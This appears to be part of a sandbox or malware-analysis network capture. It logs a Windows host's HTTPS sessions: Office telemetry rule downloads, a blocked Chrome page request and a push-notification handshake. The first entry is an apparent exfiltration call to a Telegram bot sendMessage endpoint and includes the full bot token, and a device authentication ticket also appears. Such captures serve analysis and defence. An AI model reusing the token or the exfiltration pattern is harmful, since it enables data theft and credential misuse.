2025-03-10 12:51:41 UTC	407	OUT	GET /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:42 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 10 Mar 2025 12:51:42 GMT Content-Type: application/json Content-Length: 80 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-10 12:51:42 UTC	80	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 65 73 73 61 67 65 20 74 65 78 74 20 69 73 20 65 6d 70 74 79 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Bad Request: message text is empty"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.25	60667	13.107.253.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:42 UTC	222	OUT	GET /rules/officeclicktorun.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 12:51:42 UTC	499	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:51:42 GMT Content-Type: text/plain Content-Length: 375299 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 09 Mar 2025 06:27:06 GMT ETag: "0x8DD5ED36A3C10EC" x-ms-request-id: 1d012f9f-601e-003e-1195-913248000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T125142Z-168c7c87b66648zxhC1MNZ11kw000000051000000000bxnx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-10 12:51:42 UTC	15885	IN	Data Raw: 31 32 30 31 30 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 Data Ascii: 120100v3+<?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH
2025-03-10 12:51:42 UTC	16384	IN	Data Raw: 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 31 36 22 20 49 3d 22 31 32 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 4f 66 66 69 63 65 4d 69 6e 6f 72 56 65 72 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 4f 66 66 69 63 65 56 65 72 73 69 6f 6e 4d 69 6e 6f 72 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 33 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 41 70 70 53 74 61 74 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 41 70 70 53 74 61 74 65 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 34 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 4f 66 66 69 63 65 Data Ascii: e" /> </C> <C T="U16" I="12" O="true" N="OfficeMinorVer"> <S T="1" F="OfficeVersionMinor" M="Ignore" /> </C> <C T="U32" I="13" O="true" N="AppState"> <S T="1" F="AppState" M="Ignore" /> </C> <C T="U32" I="14" O="true" N="Office
2025-03-10 12:51:42 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 4d 61 74 63 68 65 64 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 32 30 36 33 38 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c Data Ascii: <S T="2" F="Matched" M="Ignore" /> </C> <C T="W" I="1" O="false"> <S T="1" F="1" M="Ignore" /> </C> <T> <S T="1" /> </T></R><$!#>120638v0+<?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xml
2025-03-10 12:51:42 UTC	16384	IN	Data Raw: 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: ?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 34 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 53 65 76 65 72 69 74 79 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 55 4c 53 5f 53 65 76 65 72 69 74 79 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 35 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 4d 65 73 73 61 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 6e 74 65 78 74 44 61 74 61 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 36 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 53 51 4d 4d 61 63 68 69 6e 65 49 44 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 Data Ascii: </C> <C T="W" I="4" O="true" N="Severity"> <S T="5" F="ULS_Severity" M="Ignore" /> </C> <C T="W" I="5" O="true" N="Message"> <S T="5" F="ContextData" M="Ignore" /> </C> <C T="W" I="6" O="true" N="SQMMachineID"> <S T="5" F="
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 31 35 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 72 72 6f 72 4d 65 73 73 61 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 45 72 72 6f 72 4d 65 73 73 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 31 36 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 72 72 6f 72 44 65 74 61 69 6c 73 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 45 72 72 6f 72 44 65 74 61 69 6c 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 31 37 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 53 63 65 6e 61 72 69 6f 53 75 62 54 79 70 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 53 63 65 Data Ascii: </C> <C T="W" I="15" O="false" N="ErrorMessage"> <S T="2" F="ErrorMessage" /> </C> <C T="W" I="16" O="false" N="ErrorDetails"> <S T="2" F="ErrorDetails" /> </C> <C T="W" I="17" O="true" N="ScenarioSubType"> <S T="2" F="Sce
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 Data Ascii: </R> </O> </R> </O> </L> <R> <O T="AND"> <L> <O T="
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4e 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 Data Ascii: </R> </O> </L> <R> <O T="NE"> <L> <S T="1"
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4e 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 55 4c 53 Data Ascii: <O T="AND"> <L> <O T="AND"> <L> <O T="NE"> <L> <S T="1" F="ULS
2025-03-10 12:51:43 UTC	16384	IN	Data Raw: 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 45 76 65 6e 74 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 39 31 22 20 54 3d 22 55 38 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4e 45 22 3e 0d 0a 20 20 20 20 Data Ascii: <L> <O T="LT"> <L> <S T="1" F="EventSamplingPolicy" /> </L> <R> <V V="191" T="U8" /> </R> </O> </L> <R> <O T="NE">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.25	60669	13.107.253.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:45 UTC	199	OUT	GET /rules/rule120603v9s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 12:51:45 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:51:45 GMT Content-Type: text/xml Content-Length: 2231 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B99C0CEBF" x-ms-request-id: 30570a76-b01e-0053-49ff-8dcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T125145Z-168c7c87b66twzcshC1MNZs4pc00000001r0000000007150 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-10 12:51:45 UTC	2231	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 39 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="9" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.25	60670	13.107.253.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:45 UTC	199	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 12:51:45 UTC	498	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:51:45 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: b5e1221f-201e-000c-6f94-9179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T125145Z-168c7c87b66bfjj9hC1MNZvwns0000000h2g0000000062w4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-10 12:51:45 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.25	60674	141.193.213.21	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:46 UTC	662	OUT	GET / HTTP/1.1 Host: www.southwark.anglican.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:47 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Mon, 10 Mar 2025 12:51:47 GMT Content-Type: text/html Content-Length: 553 Connection: close CF-RAY: 91e2f20c3a46e56c-EWR
2025-03-10 12:51:47 UTC	553	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.25	60668	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 47 32 4f 68 68 49 32 36 63 45 61 2b 33 42 43 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 34 34 63 62 62 63 61 36 63 36 37 36 62 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: G2OhhI26cEa+3BCC.1Context: d544cbbca6c676b3
2025-03-10 12:51:47 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 43 30 30 46 36 35 45 32 35 37 31 43 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>0018C00F65E2571C</deviceName><followRetry>true</followRetry></agent></con
2025-03-10 12:51:47 UTC	1364	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 33 34 31 0d 0a 4d 53 2d 43 56 3a 20 47 32 4f 68 68 49 32 36 63 45 61 2b 33 42 43 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 34 34 63 62 62 63 61 36 63 36 37 36 62 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 49 41 2b 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 41 6b 71 4c 50 5a 70 61 2b 77 58 66 30 6d 61 38 56 4c 6c 74 6d 34 79 2f 72 79 31 66 32 48 71 50 45 6d 56 66 4b 35 2f 64 72 58 6c 76 53 41 59 4f 58 70 79 37 4e 2b 69 41 32 6a 77 69 62 57 61 42 33 70 6b 38 79 4b 44 6c 66 57 31 51 7a 6c 57 42 49 32 4f 61 45 56 77 73 64 6a 6d 6e 4d 79 35 5a 46 38 54 79 55 65 64 76 77 75 6f 49 Data Ascii: ATH 2 CON\DEVICE 1341MS-CV: G2OhhI26cEa+3BCC.2Context: d544cbbca6c676b3<device><compact-ticket>t=EwCIA+pIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaAkqLPZpa+wXf0ma8VLltm4y/ry1f2HqPEmVfK5/drXlvSAYOXpy7N+iA2jwibWaB3pk8yKDlfW1QzlWBI2OaEVwsdjmnMy5ZF8TyUedvwuoI
2025-03-10 12:51:47 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 32 4f 68 68 49 32 36 63 45 61 2b 33 42 43 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 34 34 63 62 62 63 61 36 63 36 37 36 62 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 197MS-CV: G2OhhI26cEa+3BCC.3Context: d544cbbca6c676b3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-03-10 12:51:47 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
